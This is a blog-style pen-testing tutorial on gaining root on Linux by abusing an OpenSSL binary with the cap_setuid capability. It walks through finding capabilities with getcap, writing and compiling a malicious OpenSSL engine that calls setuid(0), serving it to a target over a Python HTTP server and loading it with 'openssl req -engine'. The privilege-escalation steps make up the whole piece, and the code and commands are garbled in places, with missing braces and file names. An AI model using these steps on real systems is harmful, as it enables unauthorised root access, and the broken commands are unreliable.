How to: OpenSSL cap_setuid+ep PrivEsc Exploit

Priviledge Escalation to root user in 7 easy steps.

OpenSSL image with a lock on it


Priviledge Escalate to root using a cap_setuid capability in OpenSSL.

Consider the binary /usr/bin/openssl has capabilities set as: /usr/bin/openssl = cap_setuid+ep Is there a way to become root from a normal user by using this?

YES! Let’s explore how.

0. Checklist: Will It Work For Me?

Search all the binaries’ capibilities using: getcap -r / 2>/dev/null.

  • getcap is the tool we will use
  • -r is the recursive flag
  • 2>/dev/null directs the standard error stream to /dev/null

If you see /usr/bin/openssl = cap_setuid+ep, we are set for success.

1. Requirements (On Your System)

  1. We will use #include <openssl/engine.h> header in our exploit engine file. On debian based systems, use: sudo apt-get install libssl-dev to install.
  2. gcc

2. Getting The Exploit Ready

Create a file named openssl-exploit-engine.c with contents as such:

#include <openssl/engine.h>

static int bind(ENGINE *e, const char *id)
setuid(0); setgid(0);


Check the [2] reference for more information.

3. Compiling

Run the following:

  1. gcc -fPIC -o openssl-exploit-engine.o -c openssl-exploit-engine.c
  2. gcc -shared -o -lcrypto openssl-exploit-engine.o

Output for 1:

└─$ gcc -fPIC -o openssl-exploit-engine.o -c openssl-exploit-engine.c
openssl-exploit-engine.c: In function ‘bind’:
openssl-exploit-engine.c:5:3: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
5 | setuid(0); setgid(0);
| ^~~~~~
openssl-exploit-engine.c:5:14: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
5 | setuid(0); setgid(0);
| ^~~~~~

It is safe to ignore warnings here. Resultant is the file.

4. Transferring the file

Using python3's http server, and wget or curl on the target machine, we can transfer the file.

  1. [on your machine] start up python3 server in the directory where you have the file, as such: sudo python3 -m http.server 80. this starts the server on port 80.
  2. [on target machine] use wget or curl the file as such: wget YOUR_RELEVANT_IP/

5. Root (Finally!)

Once you have the file, run the following, at the location of the so file.

openssl req -engine ./

Sample output

user@server:~$ openssl req -engine ./ root@server:~# whoami 


6. Common Errors

└─$ gcc -fPIC -o openssl-exploit-engine.o -c openssl-exploit-engine.c
openssl-exploit-engine.c:1:10: fatal error: openssl/engine.h: No such file or directory
1 | #include <openssl/engine.h>
| ^~~~~~~~~~~~~~~~~~
compilation terminated.If you get this error, check the section on Requirements.

7. References

  1. Read up more on capabilities.
  2. OpenSSL building a useless engine
  3. How to use the library load feature OpenSSL

Originally published at on June 17, 2021.

Breaking in Pen-Testing